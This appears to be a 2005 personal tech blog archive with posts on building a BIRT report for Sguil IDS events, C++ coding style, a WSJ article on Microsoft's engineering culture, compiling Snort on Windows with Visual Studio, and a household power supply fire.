Sguil Event reporting with BIRT

Sguil (pronounced “sgweel”) is a great platform for IDS operations. However, one of the features that I have found lacking is the reporting capabilities. As an IT manager, I need to know essential information about my infrastructure, and canned reports fail to deliver. As far as reporting solutions go, I have found Actuate Corporation’s offerings to be the best of breed. So I was very excited when I found out that Actuate is offering an Open Source reporting solution called BIRT (Business Intelligence and Reporting Tools). What we will look at is how to create a BIRT report to give us a simple summary page of Sguil events.



I first heard of BIRT at the Actuate Users conference in August of 2004. Paul Clenahan, one of Actuate’s VPs, described how Actuate is embracing the Open Source development model. He was of course talking about BIRT. Interested, I approached him afterward and we discussed some aspects of how BIRT could benefit the Sguil project. At the time, Actuate was offering BIRT as a module for Eclipse in very early development. I signed up for the pre-release versions and evaluated over the course of the year. At the 2005 Actuate Conference, they announced that they had released a standalone version, which did the full installation of Eclipse with the BIRT workspace preconfigured and ready to roll. More information on both the Eclipse plug-in and standalone versions of BIRT can be found at http://www.actuate.com/birt and http://www.eclipse.org/birt.

I prefer the approach of separating the reporting system from Sguil for two key reasons: 1) singularity of purpose, and 2) additional flexibility. To my first point, separating out the reporting system coincides with the Unix philosophy that a tool should do one thing and do it well. By separating the reporting functionality from the IDS system, you avoid adding an additional layer of complexity. Sguil’s main focus should be as a console for network security analysts, and I feel that reporting is outside of that scope. Second, you gain much more flexibility with BIRT as a reporting platform; you can develop as many reports as you need with customized look, feel, and report criteria with very little development. With Sguil’s built-in reports, you are limited to what the project developers have time to provide. Report modifications require someone to modify the TCL source code. BIRT has the potential to take NSM operations to the next level in terms of reporting capabilities by tailoring the data to meet decision-making managers’ needs.

Lets take a look at BIRT. There are two type of BIRT packages: standalone packages and Eclipse plug-ins. In the standalone category, there are type types of installation packages, BIRT Report Designer (BRD) and BIRT Report Designer Professional. I will only take a look at BIRT Report Designer in this article. (Perhaps Professional will be a topic for a future article.) The install packages are roughly 100 MB for BRD Pro and 75 MB apiece BRD. The installers for the Standalone version seem to be in the Windows® variety only, while the Eclipse plug-ins are platform-independent Java files.

Installation of BRD is fairly simple: just click on the executable and go. This brings you into the familiar Windows® Install Shield program. The first few screens are just a title screen and the EULA. The next screen asks if you want to do a typical install or a custom install. I always choose custom, and I always keep the install directory default. The custom options only give you the BIRT core so there is not a lot of variety or options to set. It seems to me that they could easily remove the typical/custom choice.

You will also need to get JDBC drivers for MySQL to write reports for Sguil. I download the JDBC Drivers from http://dev.mysql.com/downloads/connector/j/3.0.html. I used the 3.0 drivers because the 3.1 drivers gave me some issues. After downloading, extract the files to C:\MySQL.

After installation, I start BIRT from the appropriate Start Menu location, located under Programs, and Actuate Birt 1.0.1. This seems to be an all-inclusive install package since the environment looks exactly like Eclipse with the BIRT perspective open.


On the left hand side is our Palette, Outline, and Data Explorer. Since this is a tabbed interface, you can drag tabs into any floating palette that you choose. For this example I will keep things as is, but I usually like to drag my Data Explorer with my outline to keep my report design elements separate from my design components, but that is a personal preference. On the bottom of the page is the Properties and Property Editor. The Property Editor is a custom layout for whatever component you are working with, while the Properties tab will show you a tree view of all properties that belong to that component.

In this example, I want to create a basic report with BIRT using the Sguil database. This is a simple report Summary page that will display a count of all the incidents in the Sguil database grouped by category. I will break out the report into two columns, with the left side displaying the Category title, and the right displaying the count of events to date.

First, go up to the “File” and “New Report”. On the report title page, I just entered “Sguil Report”. The next screen gives you report templates to use. Since this will be a very simple report, I chose blank report and clicked Finish.




Next thing I do is go over to the Data Explorer tab. I can see that I do not have a data source, without which I cannot pull any data for my report. So I need to define a new Data Source. I right mouse click on Data Source and choose “New Data Source”.


I will need to add the MySQL JDBC drivers in order to continue. Next, I choose Manage Drivers. Then I click on Add and point to the directories where the JAR files reside under the C:\MySQL directory.



Back on the Add Datasource screen, I add the information like in the picture below. Note the Database URL syntax. In this case I used jdbc:mysql://192.168.100.105/sguildb, where 192.168.100.105 is the IP address of my MySQL database and sguildb is the name of the database for Sguil.



Returning to the Data Explorer, I right mouse click on the newly created Data Source and choose rename, so I can rename the component SguilDataSource. Now I need to create a Data Set (known as a Recordset in other environments). I right mouse click on Data Sets. The first page in the properties dialog is the SQL screen. I enter the following SQL statement:

SELECT
status,
count(status)
FROM
event
GROUP BY
status

To speed up future reports, I create the following index for the Sguil database:

create index
evnt_status
on
event(status);

With my Data Source and Data Set created, I am ready to create my report body. First, I move back to my Palette, which is located on the right hand side of the workspace. I select a “Table” object from the drop down list and drag it over to my report body.



When the Setup Table dialog appears, I select 2 Columns and 1 row. Even so, what I end up with is 3 actual rows: one header, one detail, and one footer.

I need to add data to the table. I go back to the DataExplorer and expand the Data Set branch. I drag “Status” over to the first column, and “count(status)” to the second column. Now if I preview my report, I will see that status is going to display the numbers of the Status ID’s, not the status it actually stands for. So I need to do a replace of these values. To correct this, I need to add a bit of code to interpret what these values mean, and I will do so in the Value Expression for the status cell. I do this by double clicking on the status cell to open up the Expression Builder. Alternatively you can right mouse click on the status cell and choose “Edit Value/Expression” as pictured below.



To replace the values I put in the following code:

if (row["status"] == "0")
row["status"] = "Active";

if (row["status"] == "1")
row["status"] = "N/A";

if (row["status"] == "11")
row["status"] = "Category 1";

if (row["status"] == "12")
row["status"] = "Category 2";

if (row["status"] == "13")
row["status"] = "Category 3";

if (row["status"] == "14")
row["status"] = "Category 4";

if (row["status"] == "15")
row["status"] = "Category 5";

if (row["status"] == "16")
row["status"] = "Category 6";

For some odd reason, using a switch statement did not work here. Now, I click OK and go back to the report designer. I change the headers for each column by clicking on the header cells and entering the desired text in the “Text” property. My table is shown below.



To me this report is very plain, so lets add a few more elements. I need to add a report title to this page, and I want to change the color of the header row. To add the report title is easy. I go over to the component palette, and drag a label over. I change the text in it to “Sguil Report Type Summary”. Using the standard text controls at the bottom, it’s easy to bold the title, make it large, and center it. Changing the color of the header row is accomplished in the Outline tab, by selecting the table, header, and row. Then I go into the Property window to set the background color to blue, and set the font weight to bold.

The last thing is to have the colors alternate in the detail rows to make the report easier to read. First, I create a parameter to store the row number. The next step is to go over to the data explorer, right mouse click on Report Parameters and choose New Report Parameter.


I enter in the name of the parameter and check the boxes for Allow Null Values, Hidden, and Do Not Echo Input. Next I set the type to float, and change the format to fixed. Then it’s back to the report outline, where I right mouse click on the Sguil Report parent object and select Edit Code.



It’s time to change the function to Initialize and set the row number parameter to its initializing value.



Now I go back to the Outline, select the table element, right mouse click and choose Edit Code. At the OnRow function, the parameter is incremented by 1 using the ++ operator.



Now, here comes the magic: in the Outline, I select Row under the Table object and go into the Property Editor for the Row. Then I select the Highlights tab and click on the Add button. Input the formula as shown below, I select a background color.



Below is a screenshot of the final product.

Now the report is complete. Although I did not cover using parameters, we could easily modify this report to include parameters for a specific date range, or only a certain set of categories. Using BRD, the report can be outputted using the Preview as HTML or Preview as PDF options under the file menu. If you would like to automate the report process, you can publish the final report design file to an Apache Tomcat server and schedule it to run at regular intervals.

BIRT reporting capabilities can help NSM operations by filling in the deficiencies in Sguil’s reporting capabilities. By being able to provide ad-hoc reports, NSM operations can effectively communicate incidents and policy violations in a manner that will allow stakeholders to make informed decisions about their security policies. I hope NSM operations find this a useful tool for working with their customers.

Programming Habits and Style

While writing another article, the issue of programming style came up. A programmer’s style of programming goes a long way toward defining how well your habits are developed, and adds to how easily identifiable your code is. Developing good programming habits will help you in the long run develop good code. I have my own personal style for developing software; I grew up programming Pascal, so a lot of my habits from that language hold over in other languages as well. I believe this has been a huge benefit as it has caused my way of thinking to be such that I reject some of the shortcuts that other languages allow.

While I am a proponent of the Scientific Method, I am always skeptical about anyone selling “The One True Way ™”. Despite what anyone will tell you, there is no one “correct” way to develop code, including my own. But that doesn’t mean there isn’t a wrong way.

Lets look at an example. Here is a simple program that will initialize an array of 10 elements with random numbers, and copy that array.

#include <cstdlib>
#include <ctime>

using namespace std;

int main()
{
int grp_a[10], grp_b[10];

srand(time(0));
for (int x = 0; x < 10; grp_b[x] = grp_a[x++] = (1 + (rand() % 20)));
return 0;
}

While this is syntactically correct, this program represents bad style in my opinion. The biggest problems are that the logic is not well defined and it’s difficult to read. It is very nice that the program can accomplish the initialization of the array, assignment from grp_a to grp_b, and increment of the counter in one line of code, but it is poor coding. The reason I say so is the lowest common denominator, a beginner programmer, would not be able to read this and follow its logic.

Surprisingly I see code like this quite a bit. In my opinion this is done by show off “Cowboy Programmers” and code of this nature has no place in the production of quality code. Coders who write like this try and show their mastery of a language by showing what the language is capable of doing. A true master would show the way for a learner, not flaunt their mastery.

I have rewritten the code in a way that I feel represents good standards.

//Headers required for program. Cstdlib is needed for the random number functions
//and ctime is needed for seeding the random number generator
#include <cstdlib>
#include <ctime>

//use the C++ standard namespace
using namespace std;

//Constants used to define the max array size, our minimum and
//maximum random numbers, and zero value

const int ARRAY_SIZE = 10;
const int RANDOM_MIN = 1;
const int RANDOM_MAX = 20;
const int ZERO = 0;

//Function declaration for retrieving our random number
int get_Random_Number();

int main()
{
     //variables for our loop counter, and two arrays
     int count, grp_a[ARRAY_SIZE], grp_b[ARRAY_SIZE];

     //Seed the random number generator with the current time
     srand(time(ZERO));

     //For all elements in array, set position in grp_a
     //to a random number, then copy that value into
     //same position in grp_b
     for (count = 0; count < ARRAY_SIZE; count++)
{
          grp_a[count] = get_Random_Number();
          grp_b[count] = grp_a[count];
}

     //Return to OS
     return 0;
}

//Function for retrieving random number. Allow RANDOM_MIN
//through RANDOM_MAX as possible range of values, using
//remainder of division by RANDOM_MAX.
int get_Random_Number()
{
     return (RANDOM_MIN + (rand() % RANDOM_MAX));
}

The code is a little more verbose, but a newer programmer would easily be able to read it. There are comments now indicating what the code is doing. I replaced the hard coded numbers with constants and moved all variable declarations to the beginning of main(). I also moved the random number generation into a function, allowing for a clear, English like description of what we are expecting to be returned rather than having to kludge through some hard coded formula. Take the extra time to write the full logic out to save yourself and the person who may be maintaining that code later on some sanity. Human time is much more expensive than machine time, so try and make it easier for future maintainers. Go with Occams Razor: the simpler answer is usually the better one.

Let’s look at some of my habits that go into my programming style. First, I always plan out my program before I write a single bit of code. The size and scope of the project will determine what method I use. Sometimes I write out logic in pseudo-code like format. I usually use a top-down approach, writing general modules and describing what each specific module will do later. A lot of people consider this excessive and skip this step, but trust me; it cuts down on development time. There is a reason that beginner programmer books include this topic, despite the fact that most college professors just gloss over it. Larger projects call for something more conceptual, such as flow-charts, Entity Relationship Diagrams, or UML if it is Object Oriented. Don’t get caught up on proper syntax of planning. As long as you plan it out in a logical fashion beforehand and make sure all developing parties involved can understand whatever syntax you use, you are in good shape. If the stakeholders can understand your Use Cases, Flow Charts, or napkin sketches, then it is good. Don’t be discouraged if it is not strict to RUP syntax, or whatever the “Design Method of the Month ™” is.

By trying my best to plan out before I write code, I can determine what language will best suit the project as well. Don’t limit yourself to one language—allow for flexibility. Choosing the right language for your project will save you more headaches in the long run.

If I use the pseudo-code approach, I will usually just open that file in my editor, comment it out and leave that in the description of the program, or leave the pseudo-code lines as my main body’s comments. Commenting is crucial to programming, yet it is often left out. I usually leave out comments only if I am providing an example. My rule of thumb for commenting is to comment blocks of code that are working to accomplish one task in the problem solving steps. Commenting code takes you one step closer to the holy grail of software development: reusable code. I always try to imagine that I am describing my programming logic to a beginner programmer. This will allow anyone to follow your code, regardless of programming experience. Encouraging other programmers to do the same, especially in a development team, will assist you in easily using and understanding their code. Remember: “Good programmers write good code; great programmers ‘borrow’ good code.” So be a good programmer and help others become great programmers. ;)

The actual layout of the program should be formatted with easy to follow indentions, and code that is broken out into logical blocks. For instance, if there are 3 steps required to initialize an array, those 3 steps should be grouped together, with a comment preceding the code explaining that you are initializing the array. Variable declarations should be put at the beginning of a function, not in the body of the code. I detest using “for (int x = 0; x < WHATEVER; x++)” because x is declared inside of the loop declaration and is limited to the loop scope. Even for something as miniscule as a counter, it should be at the beginning of the function. Variables should have meaningful names for what there purpose is. N is not a good variable name for a string holding someone’s name.

Try to remove “magic numbers”. Magic numbers are hard coded literals in the middle of code body. I prefer to replace literals with constants defining what they are. For example, instead of defining an array with “x[10]”, I will usually define “const int ARRAY_MAX = 10” and define the actual array as “x[ARRAY_MAX]”, or something to that effect.

I also avoid dynamic memory allocation and pointer use whenever possible. More often than not, I have written code that did not need to allocate memory on the heap at all, and introducing them only created headaches in the long run. When I do need to use new and delete, I immediately write the delete statement as soon as the new statement is done. This insures that that the delete statement is not missed. And I avoid overloading new and delete like the plague. For particulars on C++ programming practices, I recommend Scott Meyers Effective C++ series of books. He goes into great detail about explaining good programming practices such as avoiding the use of macros. A good reference library should be more than decoration.

Finally I test the results. Does the final program meet the requirements? Are the results of the program verifiable and repeatable? Run the program through the rungs with a good set of test data to see if there are any anomalies. Back in the old days I used to run programs through a profiler to see where potential bottlenecks would occur, then work to optimize that portion of code. I have yet to familiarize myself with the OSS tools for doing this, and the current crop of Windows tools for doing this are poor at best. I also will run my program through a debugger. Familiarize yourself with how to work with your platform’s debugging tools. Personally I feel that one area where Windows development excels is with its debugging tools. Watch in real time all variable assignments, and check that objects are instantiated and deleted correctly. On the *nix side, I am partial to Kdevelop and the GNU command line debugger, gdb.

Those are some of my basic programming practices. Of course the topic goes much more in depth and this only scratches the surface. Let me know if you have any suggestions for good coding practices or debugging tools.

WSJ Article on Microsoft Restructure

I was reading an article on the Wall Street Journal this morning about Microsofts restructuring efforts (Google Cache, gotta love it... http://64.233.161.104/search?q=cache:_t7JxwmjanEJ:online.wsj.com/article/0,,SB112743680328349448,00.html%3Fmod%3Dtodays_us_page_one+&hl=en), when I came across this little gem…

“Old-school computer science called for methodical coding practices to ensure that the large computers used by banks, governments and scientists wouldn't break. But as personal computers took off in the 1980s, companies like Microsoft didn't have time for that. PC users wanted cool and useful features quickly. They tolerated -- or didn't notice -- the bugs riddling the software.”

Hold the phone, are they actually suggesting that the general population didn’t notice or didn’t care about the software industries piss poor programming practices? If you really think so, try reading Slashdot and that will change your mind.

The article brings up some great points. People have too often discarded older programming practices and languages in favor of “The Next Big Thing ™”. Take Pascal for example, a language that I feel is dieing before its time. For a high level language it can do all the things that C can do, but adds in some nice bonuses like bounds checking, and a string type to keep those nasty buffer overflows from happening so often. Instead of utilizing that, the industry created languages like C# and Java. Unfortunately Pascal is not as sexy as C/C++, so it kind of got thrown to the wayside, which is a shame because I liked Delphi. There is also COBOL, whose batch processing capabilities far exceed those of C. Even the worse written COBOL program is easy to read and understand. Newer generation programmers can learn a thing or two from COBOL, where you had to plan your program before writing the first line of code. Remember, no one language is better than another overall; it’s choosing the proper tool for the job.

But the problem goes much deeper than the compiler wars that have raged over the years. Modern CS and IS degree programs do not spend enough time teaching proper fundamentals. In fact, most spend 15 or 20 minutes talking about Pseudo-code and flowcharts for program design. In my college days, I only had one class that dedicated 1 measly assignment to creating a crappy flowchart for a program, and it didn’t even get moved into code afterwards. I was fortunate enough to have learned programming from old school CS folks before ever stepping foot into a college classroom, otherwise I would have never learned proper programming principles. Programming is more than just learning languages syntax; it’s about learning proper fundamentals. Consider this, when first learning C; a programmer is introduced to IO with something like this:

char input_buffer[20];
gets(input_buffer);

Instead of:

char input_buffer[20];
fgets(input_buffer, 20, stdin);

And what’s worse, even if they did, they wouldn’t know why the second snippet is a better example than the first.

Project management also has a lot to do with why systems fail. I found many of the things in the article on this topic disturbing. The concept of throwing engineers into a “bug jail” seemed kind of wasteful. If their testing tools can detect bugs like that, why not fix the code and teach the engineers what they did wrong rather than losing productivity time? This cannot be good for morale. I found this particular line to be disturbing

"Mr. Valentine, the enforcer, shot back, "Is your code perfect? Are you perfect? If not, you should shut up and support this effort,""

While I am usually the first to dismiss the “feelings” oriented policies of business these days, I have serious issues about berating an individual publicly for asking a question. Granted, the context of the question by the attendee is not indicated, but you have to wonder, why not just answer the question. If management cannot answer simple questions as to the merit of an initiative, then they have no real business leading it. Failure to answer a fundamental question such as this fails to command respect, and blowing up verbally at an employee does even less for the overall morale of your project team. While I agree that changing the corporate culture there would be good for productivity, I am not sure that this is the way to go about it. There’s a lot of speculation going on as to what’s really going on in the halls of Microsoft, but if they are really cleaning house of bad programming practices, Vista might actually be something worth looking at. I will wait and see...

The Snort/Visual Studio Experiment

My good friend and mentor, Richard Bejtlich, had asked me in his thread about compiling Snort from source for Windows ( http://taosecurity.blogspot.com/2005/09/compiling-snort-on-windows-many-of-you.html ), to try and compile Snort under Windows and post my results. I figured this is a great opportunity to pass some knowledge back his way since he provides the community with so many great articles.

The observed behavior based on the original article is that Snort is difficult to compile under Windows. When compiling Snort under in Visual Studio, there were numerous errors. The compiler used, however, was Visual Studio .Net. Snort has been compiled and run from Visual C++ 6.0 without any issues in the past. Based on these observations, I hypothesize that due to changes in the architecture, Snort will not compile correctly under the .Net environment.

My testing environment is a Windows 2000 Server SP4 system using Visual Studio 6.0 and Visual Studio .Net. I will use Visual Studio 6.0 as my control variable and .Net as my experimental variable. I did not install Visual Studio Express since it is in a beta stage. I will not use the build scripts for either version. If there are errors with the build I want to be able to troubleshoot what went wrong from within the Visual Studio IDE.

My first step was to download the Snort 2.4.1 source code from http://www.snort.org/. I extracted the file into F:\snort-src in my development environment. I read the README.WIN32 file under the docs folder, which clued me into needing to download and install the WinPCap v3.0 libraries. These are available from http://winpcap.polito.it . I downloaded both the Windows Developer pack and the Source Code for WinPCap just to be safe. The files for the version 3 developers kit were extracted to F:\snort-src\winpcap.

This is the process I used for compiling under the control setup. I opened Visual C++ 6.0. I went to “File”, “Open Workspace”, navigated to the directory where the Snort project is located under F:\snort-src\snort-2.4.1\src\win32\WIN32-prj\snort.dsw. After opening the workspace, I went under “Tools”, “Options”, selected the Directories tab, and added the location for the WinPcap libraries located in “F:\Snort-SRC\WINPCAP\WPDPACK\INCLUDE”. I also changed the build package to SNORT-MYSQL-Release and disabled MySQL since I do not need database support. The pictures for this are below.







Next I went to “Build” and selected “Build snort.exe”. I now have a working Snort executable. I copy the snort.exe file one directory layer down to reside in the same folder as LibnetNT.dll and pcre.dll. I run snort.exe -? And get the familiar help screen for Snort. Satisfied I copy over my directory to a Jumpdrive, and move this effort over to my laptop.



From the laptop, I plug in the Jumpdrive. I am now ready to test Snort to see if it is working. First thing I do is run Snort with the –W switch.

E:\Snort\snort-src\snort-2.4.1\src\win32\WIN32-Prj>snort -W

,,_ -*> Snort! <*-
o" )~ Version 2.4.1-ODBC-FlexRESP-WIN32 (Build 24)
'''' By Martin Roesch & The Snort Team: http://www.snort.org/team.html
(C) Copyright 1998-2005 Sourcefire Inc., et al.
NOTE: Snort's default output has changed in version 2.4.1!
The default logging mode is now PCAP, use "-K ascii" to activate
the old default logging mode.


Interface Device Description
-------------------------------------------
1 \Device\NPF_NdisWanIp (NdisWan Adapter)
2 \Device\NPF_{CE9D3D8B-28A1-4EC0-9A4A-180B40A0D886} (VMware Virtual Ethernet Ad
apter)
3 \Device\NPF_{2609FD97-9853-4744-83A4-B1F4DDF47A45} (FE575 Ethernet Adapter)
4 \Device\NPF_{54038C41-56BF-40C1-9699-7D6C5BAF8F18} (VMware Virtual Ethernet Ad
apter)

I now have a list of interfaces for Snort. Next I want to test Snort on the Etherfast adapter, which is interface 3. Below is a transcript of that session.

E:\Snort\snort-src\snort-2.4.1\src\win32\WIN32-Prj>snort -v -n 3 -i 3
Running in packet dump mode

Initializing Network Interface \Device\NPF_{2609FD97-9853-4744-83A4-B1F4DDF47A45
}

--== Initializing Snort ==--
Initializing Output Plugins!
Decoding Ethernet on interface \Device\NPF_{2609FD97-9853-4744-83A4-B1F4DDF47A45
}

--== Initialization Complete ==--

,,_ -*> Snort! <*-
o" )~ Version 2.4.1-ODBC-FlexRESP-WIN32 (Build 24)
'''' By Martin Roesch & The Snort Team: http://www.snort.org/team.html
(C) Copyright 1998-2005 Sourcefire Inc., et al.
NOTE: Snort's default output has changed in version 2.4.1!
The default logging mode is now PCAP, use "-K ascii" to activate
the old default logging mode.

09/20-22:00:14.660476 192.168.100.100:2724 -> 63.209.221.228:80
TCP TTL:127 TOS:0x0 ID:56743 IpLen:20 DgmLen:40 DF
***A**** Seq: 0x9AE1529A Ack: 0x6350200B Win: 0xFBFF TcpLen: 20
=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+

09/20-22:00:17.129746 192.168.100.100:2726 -> 64.4.61.250:80
TCP TTL:127 TOS:0x0 ID:56744 IpLen:20 DgmLen:48 DF
******S* Seq: 0xD676A133 Ack: 0x0 Win: 0xFC00 TcpLen: 28
TCP Options (4) => MSS: 1260 NOP NOP SackOK
=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+

09/20-22:00:17.195600 64.4.61.250:80 -> 192.168.100.100:2726
TCP TTL:113 TOS:0x0 ID:8430 IpLen:20 DgmLen:48
***A**S* Seq: 0x9A597579 Ack: 0xD676A134 Win: 0x4000 TcpLen: 28
TCP Options (4) => MSS: 1460 NOP NOP SackOK
=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+

Run time for packet processing was 2.554000 seconds


===============================================================================

Snort received 8 packets
Analyzed: 8(100.000%)
Dropped: 0(0.000%)
===============================================================================
Breakdown by protocol:
TCP: 3 (37.500%)
UDP: 0 (0.000%)
ICMP: 0 (0.000%)
ARP: 0 (0.000%)
EAPOL: 0 (0.000%)
IPv6: 0 (0.000%)
ETHLOOP: 0 (0.000%)
IPX: 0 (0.000%)
FRAG: 0 (0.000%)
OTHER: 0 (0.000%)
DISCARD: 0 (0.000%)
===============================================================================
Action Stats:
ALERTS: 0
LOGGED: 0
PASSED: 0
===============================================================================
Snort exiting

Now, I download the latest Snort rule set and extract to the C:\snort_rule directory. I modify the snort.conf to disable the Snort Performance plug-in, and run Snort with the following command.

snort -c "C:\snort_rules\rules\snort.conf" -l "C:\snort_data" -A full -i 3 -d -e –X

I go visit a few websites and then check the contents of C:\snort_data to see if I am capturing anything.

C:\snort_data>dir
Volume in drive C is Local Disk
Volume Serial Number is C4C0-6A2C

Directory of C:\snort_data

09/20/2005 10:19p <DIR> .
09/20/2005 10:19p <DIR> ..
09/20/2005 10:23p 2,128 alert.ids
09/20/2005 10:07p <DIR> portscans
09/20/2005 10:07p 24 snort.log.1127279242
09/20/2005 10:08p 24 snort.log.1127279321
09/20/2005 10:08p 24 snort.log.1127279334
09/20/2005 10:23p 8,712 snort.log.1127279986
09/20/2005 06:59p <DIR> ssn_logs
5 File(s) 10,912 bytes
4 Dir(s) 4,287,774,720 bytes free

I can see by the files in the snort_data directory that I am capturing data. Now, I want to capture all packets without using an alert mode. I run the following command:

E:\Snort\snort-src\snort-2.4.1\src\win32\WIN32-Prj>snort -i 3 -l "C:\snort_data"
-b
Running in packet logging mode
Log directory = C:\snort_data

Initializing Network Interface \Device\NPF_{2609FD97-9853-4744-83A4-B1F4DDF47A45
}

--== Initializing Snort ==--
Initializing Output Plugins!
Decoding Ethernet on interface \Device\NPF_{2609FD97-9853-4744-83A4-B1F4DDF47A45
}

--== Initialization Complete ==--

,,_ -*> Snort! <*-
o" )~ Version 2.4.1-ODBC-FlexRESP-WIN32 (Build 24)
'''' By Martin Roesch & The Snort Team: http://www.snort.org/team.html
(C) Copyright 1998-2005 Sourcefire Inc., et al.
NOTE: Snort's default output has changed in version 2.4.1!
The default logging mode is now PCAP, use "-K ascii" to activate
the old default logging mode.

Now, lets see what the results of my capture are:

C:\snort_data>dir
Volume in drive C is Local Disk
Volume Serial Number is C4C0-6A2C

Directory of C:\snort_data

09/20/2005 11:01p <DIR> .
09/20/2005 11:01p <DIR> ..
09/20/2005 10:54p 8,457 alert.ids
09/20/2005 10:07p <DIR> portscans
09/20/2005 10:07p 24 snort.log.1127279242
09/20/2005 10:08p 24 snort.log.1127279321
09/20/2005 10:08p 24 snort.log.1127279334
09/20/2005 10:23p 8,712 snort.log.1127279986
09/20/2005 10:33p 1,691 snort.log.1127280774
09/20/2005 10:54p 4,665 snort.log.1127281919
09/20/2005 11:03p 561,373 snort.log.1127282467
09/20/2005 06:59p <DIR> ssn_logs
8 File(s) 584,970 bytes
4 Dir(s) 4,252,270,592 bytes free

Excellent. I decide to view the results of my packet capture in Ethereal. Here is a screen shot.



I delete the contents of the target build directors to get ready to test my experimental group. The procedure for compiling under Visual Studio .Net is similar to 6.0. I moved back over to my development environment, opened VS, went into “File”, “Open Project”, and went to the Snort Source directory. I was prompted to convert the project to the updated Visual Studio .Net format, which I answered “Yes to All”. I proceeded to add the WinPCap libraries by going to “Tool”, “Options”, and “Projects”, selecting the “Include Locations” option and navigating to the WinPcap Include folder. I then go under “Project”, “Properties”, “C/C++”, and “Preprocessor” and disable MySQL support. I then go to “Build” and choose “Build Solution”. My first build fails due to the lack of the MySql Libraries, so I recheck my Pre-Processor options to make sure MySQL is disabled. The ENABLE_MYSQL macro was set again (I could have sworn I changed that) so I changed it to DISABLE_MYSQL and rebuild. The build succeeded. I copy the snort.exe file one level down into the same directory as PCRE.DLL and LibnetNT.dll. Below are the results of the testing session.

F:\snort-src\snort-2.4.1\src\win32\WIN32-Prj>snort -W

,,_ -*> Snort! <*-
o" )~ Version 2.4.1-ODBC-FlexRESP-WIN32 [DEBUG] (Build 24)
'''' By Martin Roesch & The Snort Team: http://www.snort.org/team.html
(C) Copyright 1998-2005 Sourcefire Inc., et al.
NOTE: Snort's default output has changed in version 2.4.1!
The default logging mode is now PCAP, use "-K ascii" to activate
the old default logging mode.


Interface Device Description
-------------------------------------------
1 \Device\NPF_{FEBD0677-AC22-4B78-A66C-028BFC31F32C} (Intel(R) PRO/1000 MT Netw
ork Connection)
2 \Device\NPF_{4D8EEEE1-5582-4894-9AAB-19BB83CA16E1} (VMware Virtual Ethernet Ad
apter)


F:\snort-src\snort-2.4.1\src\win32\WIN32-Prj>snort -b -i 1 -l "F:\temp\snort\"
ERROR: log directory 'F:\temp\snort"' does not exist
Fatal Error, Quitting..

F:\snort-src\snort-2.4.1\src\win32\WIN32-Prj>snort -b -i 1 -l "F:\temp\snort"
Running in packet logging mode
Log directory = F:\temp\snort

Initializing Network Interface \Device\NPF_{FEBD0677-AC22-4B78-A66C-028BFC31F32C
}

--== Initializing Snort ==--
Initializing Output Plugins!
Decoding Ethernet on interface \Device\NPF_{FEBD0677-AC22-4B78-A66C-028BFC31F32C
}

--== Initialization Complete ==--

,,_ -*> Snort! <*-
o" )~ Version 2.4.1-ODBC-FlexRESP-WIN32 [DEBUG] (Build 24)
'''' By Martin Roesch & The Snort Team: http://www.snort.org/team.html
(C) Copyright 1998-2005 Sourcefire Inc., et al.
NOTE: Snort's default output has changed in version 2.4.1!
The default logging mode is now PCAP, use "-K ascii" to activate
the old default logging mode.



===============================================================================

Snort received 7099 packets
Analyzed: 7099(100.000%)
Dropped: 0(0.000%)
===============================================================================
Breakdown by protocol:
TCP: 7056 (99.394%)
UDP: 20 (0.282%)
ICMP: 0 (0.000%)
ARP: 6 (0.085%)
EAPOL: 0 (0.000%)
IPv6: 0 (0.000%)
ETHLOOP: 0 (0.000%)
IPX: 0 (0.000%)
FRAG: 0 (0.000%)
OTHER: 0 (0.000%)
DISCARD: 0 (0.000%)
===============================================================================
Action Stats:
ALERTS: 0
LOGGED: 7082
PASSED: 0
===============================================================================
pcap_loop: read error: PacketReceivePacket failed

F:\snort-src\snort-2.4.1\src\win32\WIN32-Prj>cd f:\temp\snort

F:\temp\snort>dir
Volume in drive F is data
Volume Serial Number is 906A-3692

Directory of F:\temp\snort

09/21/2005 10:25a <DIR> .
09/21/2005 10:25a <DIR> ..
09/21/2005 10:27a 4,233,615 snort.log.1127316305
1 File(s) 4,233,615 bytes
2 Dir(s) 16,851,120,128 bytes free

Building in Visual Studio .Net worked. Based on the results of the experiment, I conclude that my original hypothesis that Snort will not compile under Visual Studio .Net was incorrect and that Snort should compile successfully regardless of which version of Visual Studio you use. Hopefully based on the results of this, Rich can go back using Visual C++ .Net Express and confirm that Snort will compile with that version as well.

Update: I went ahead and tried to do the compile with Visual C++ .Net Express. This resulted in a failure. For some odd reason the dialog box to select the include directories was blank and did not allow me to add new directories. It was also missing some basic Windows header files that I am guessing do not come with the Express version. So even if Rich had used the same steps, his efforts would not have succeeded.

Update (03-OCT-2005): I’d like to thank Ronaldo Vasconcellos for notifying me that Snort v2.4.2 was released last week, which included the Windows binaries. Out of curiosity I downloaded the source files and followed my instructions for compiling under 2.4.1, and they do work.

I would also like to thank the Sourcefire/Snort team for all their hard work. Without them, the community would not have such a great tool at our disposal.

Electrical Fire

I come home last night from a long day at work and night school to a very unpleasant surprise. I start to walk towards my room to put my cell phone on its charger, and that’s when it hits me. It is a familiar, God-awful smell. My years as an electronic technician have taught me all too well what that smell was. It was the smell of an electrical fire.

I quickly open the door to my bedroom and wham; the smell is like getting whacked in the face with a bat. My eyes start watering as I looking around frantically. Was it TV, my Entertainment Center, my alarm clock, I keep looking, but I couldn’t see any flames. I walk towards my computer and the smell is stronger. Then all of a sudden I can’t smell anything. By this time everyone in the house is alert to the smell. I think to myself “Damn it, I need to find what the hell is burning”. The fact that I cant smell anything is not helping the situation, and although it is a good thing that flames were not visible, it would have helped if I could see what was burning. I unplug both the monitor and the tower just to be safe, and step outside to get my sense of smell back. I hold my breath and walk back in heading straight to the computer. I exhale and then take a sniff near the tower. Bingo, the smell is coming from the power supply. I take the tower from the room and tear it apart. I pull the smelly power supply from the case and rip it apart. A capacitor falls to the bench and that burning smell punches me in the face. You never forget that smell, its something like sulfur mixed with Ben-Gay.

The first thing I check is the fuse. It was still intact. The safety mechanism that is supposed to prevent too much current from entering into the power supply failed. This could have been a lot worse. Thankfully, it wasn’t. The power supply could have started arching, shooting sparks and igniting something near by setting the whole house on fire. The scary thing was that the power switch was in the off position.

